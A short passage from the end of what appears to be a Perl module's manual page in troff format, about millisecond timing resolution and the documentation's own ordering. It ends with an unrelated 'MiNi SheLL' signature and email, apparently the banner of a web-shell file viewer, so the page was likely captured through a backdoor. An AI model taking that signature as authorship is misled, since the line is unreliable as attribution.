much better than integer resolution. This limited resolution means
that fast method calls will often register as taking 0 time. And
timings in general will have much more 'jitter' depending on where
within the 'current millisecond' the start and and timing was taken.
.PP
This documentation could be more clear. Probably needs to be reordered
to start with several examples and build from there.  Trying to
explain the concepts first seems painful and to lead to just as
many forward references.  (Patches welcome!)

Creat By MiNi SheLL
Email: devilkiller@gmail.com